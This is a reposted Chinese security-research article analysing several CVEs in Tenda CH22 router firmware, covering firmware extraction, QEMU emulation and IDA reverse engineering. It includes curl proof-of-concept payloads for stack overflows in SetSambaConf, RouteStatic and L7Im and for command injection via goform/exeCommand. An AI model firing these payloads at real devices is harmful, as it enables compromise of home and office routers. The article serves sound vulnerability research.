文章总结: 本文详细分析了TendaCH22路由器固件中的多个CVE漏洞,涵盖固件提取、QEMU仿真环境搭建及IDA静态分析过程。作者深入剖析了CVE-2025-9813等栈溢出漏洞及CVE-2025-9812命令注入漏洞的成因,指出主要系对用户输入参数缺乏长度校验与过滤导致。文中提供了具体的逆向分析细节与PoC验证代码,对物联网设备安全测试与漏洞挖掘具有较高参考价值。 综合评分: 91 文章分类: 漏洞分析,IoT安全,逆向分析,渗透测试
Tenda CH22 多个漏洞分析
BornChu BornChu
看雪学苑
2026年3月6日 18:08 上海
漏洞定位
从漏洞信息了解到,是通过网页配置访问到漏洞点的,直接分析http服务。
提取httpd&仿真
binwalk一把梭:
iot@iot:~$ binwalk US_CH22V1BR_CH22_V1.0.0.1_CN.bin -Me
iot@iot:~$ cd _US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/bin
iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/bin$ file httpd
httpd:ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
qemu直接起:
iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root$ cp /usr/bin/qemu-arm-static ./
iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-arm-static ./bin/httpd
IDA分析
根据字符串快速定位到路径处:
这一段应该是做的路径解析,如果路径不存在则通过websFormHandler返回error,存在则在sub_2DB50中做跳转
这里不难看出,根据不同的路径会跳转到不同的解析里面,主要分为asp和非asp两类,找到位置就方便研究漏洞了。
CVE-2025-9813
这里先拿CVE-2025-9813分析,根据漏洞描述这个漏洞在/goform/SetSambaConf下,通过操作samba_userNameSda溢出。
根据描述漏洞就在这一块了,传入的参数为s_1,大小可控,v3为s_1的总长度,v4为s_1从*起到末尾的长度,也就是说原本的输入可能类似于username*password
在第60行s_1直接传给了s[256],导致溢出。
同样的问题也出在下方,只不过需要用到:做分隔,溢出点dest[256]就不过多赘述了。
PoC:
curl -i -X POST 'http://192.168.127.100/goform/SetSambaConf' -d "samba_userNameSda=$(python3 -c "print('A' * 300 + '*')")"
#
CVE-2025-12271
CVE-2025-12271的情况也是同理
从描述来看是需要利用/goform/RouteStatic中的page这个参数
在fromRouteStatic这个函数中与前者不同的是,此函数会先将entrys以及mitInterface的值传入sub_39798这个函数中,不过并不存在判断条件,所以还是可以直接触发漏洞。
漏洞点在于sprinf前未对v6的长度做校验,直接拼接前面的路径传入s,如果写exp需要注意偏移量。
PoC:
curl -i -X POST 'http://192.168.127.100/goform/RouteStatic' -d "page=$(python3 -c "print('A' *(300 - len('routing_static.asp?page=')))")"
此外,类似的page溢出还有很多,原理都是sprint未经校验直接拼接重定向url导致。
CVE-2025-14526
PoC:
curl -i -X POST 'http://192.168.127.100/goform/L7Im' -d "page=$(python3 -c "print('A' *(300 - len('im.asp?page=%s')))")"
#
CVE-2025-9812
结合通告信息,很明显是有溢出:
但实际上更大的问题在后面,可以使用;分隔实现命令注入。
或许是由于使用的用户模式仿真,能够利用的函数较少,这里只贴个PoC没深入研究。
PoC:
curl -X POST -d "cmdinput=ping 127.0.0.1 -c 3; pwd; ls; cd bin/; pwd; ls; " http://192.168.127.100/goform/exeCommand
#
栈溢出漏洞列表
类似的漏洞还有很多,这里贴一张列表:
看雪ID:BornChu
https://bbs.kanxue.com/user-home-964118.htm
*本文为看雪论坛优秀文章,由 BornChu 原创,转载请注明来自看雪社区
议题征集中!看雪·第十届安全开发者峰会
往期推荐
IDA旧版本插件移植后卡死的研究及修复
神奇日游保护分析——从Frida的启动说起
Linux 3.10 版本编译 qemu仿真 busybox
深入理解IOS重签名检测
驱动挂钩所有内核导出函数来进行驱动逻辑分析
球分享
球点赞
球在看
点击阅读原文查看更多
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:看雪学苑 BornChu BornChu《Tenda CH22 多个漏洞分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。












评论